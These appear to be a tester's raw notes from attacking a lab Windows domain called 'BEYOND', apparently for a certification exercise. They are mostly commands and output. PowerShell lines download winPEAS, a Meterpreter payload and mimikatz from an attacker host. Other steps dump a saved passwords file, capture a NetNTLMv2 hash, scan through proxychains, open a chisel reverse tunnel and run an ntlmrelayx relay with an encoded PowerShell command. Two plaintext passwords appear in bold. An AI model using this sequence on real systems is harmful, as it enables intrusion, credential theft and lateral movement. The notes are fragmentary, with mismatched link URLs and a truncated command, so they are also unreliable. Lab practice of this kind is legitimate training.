
PS C:\Windows\System32\WindowsPowerShell\v1.0. whoami
whoami
beyond\marcus
PS C:\Windows\System32\WindowsPowerShell\v1.0. hostname
hostname
CLIENTWK1
PS C:\Windows\System32\WindowsPowerShell\v1.0. ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 172.16.160.243
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.16.160.254
PS C:\Windows\System32\WindowsPowerShell\v1.0.



iwr -uri [http://192.168.45.198:8000/winPEASx64.exe](http://192.168.119.5:8000/winPEASx64.exe) -Outfile winPEAS.exe


type C:\Users\marcus\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt

͹ Enumerating Security Packages Credentials
  Version: NetNTLMv2
  Hash:    marcus::BEYOND:1122334455667788:7a11d0ea1ca545e49688cde3c7ce30d9:01010000000000003f5f925128c6da013686d0a90db8fdca000000000800300030000000000000000000000000200000ca9c7210e9cfb74dcdbdb6246cc4618e90a419e1fc1edc60f3ec2c47c1dcbd220a00100000000000000000000000000000000000090000000000000000000000


͹ Network Ifaces and known hosts
 The masks are only for the IPv4 addresses
    Ethernet0[00:50:56:9E:65:CE]: 172.16.160.243 / 255.255.255.0
        Gateways: 172.16.160.254
        DNSs: 172.16.160.240
        Known hosts:
          172.16.160.240        00.50.56.9E-FA-ED     Dynamic
          172.16.160.254        00.50.56.9E-DA-CD     Dynamic
          172.16.160.255        FF-FF-FF-FF-FF-FF     Static
          224.0.0.22            01.00.5E-00.00.16     Static
          224.0.0.251           01.00.5E-00.00.FB     Static
          224.0.0.252           01.00.5E-00.00.FC     Static
          239.255.255.250       01.00.5E-7F-FF-FA     Static


iwr -uri [http://192.168.45.198:8000/met.exe](http://192.168.119.5:8000/met.exe) -Outfile met.exe


sudo proxychains -q nmap -sT -oN nmap_servers -Pn -p 21,80,443 172.16.160.240 172.16.160.241 172.16.160.254


./`chisel.exe client 192.168.45.198:8080 R:80:172.16.160.241:80`

**DANIelaRO123**


**sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.229.242 -c **“powershell -e  ”


iwr -uri [http://192.168.45.198:8000/met.exe](http://192.168.119.5:8000/met.exe) -Outfile met.exe

iwr -uri [http://192.168.45.198:8000/mimikatz.exe](http://192.168.119.5:8000/mimikatz.exe) -Outfile mimikatz.exe


**NiftyTopekaDevolve6655!#!**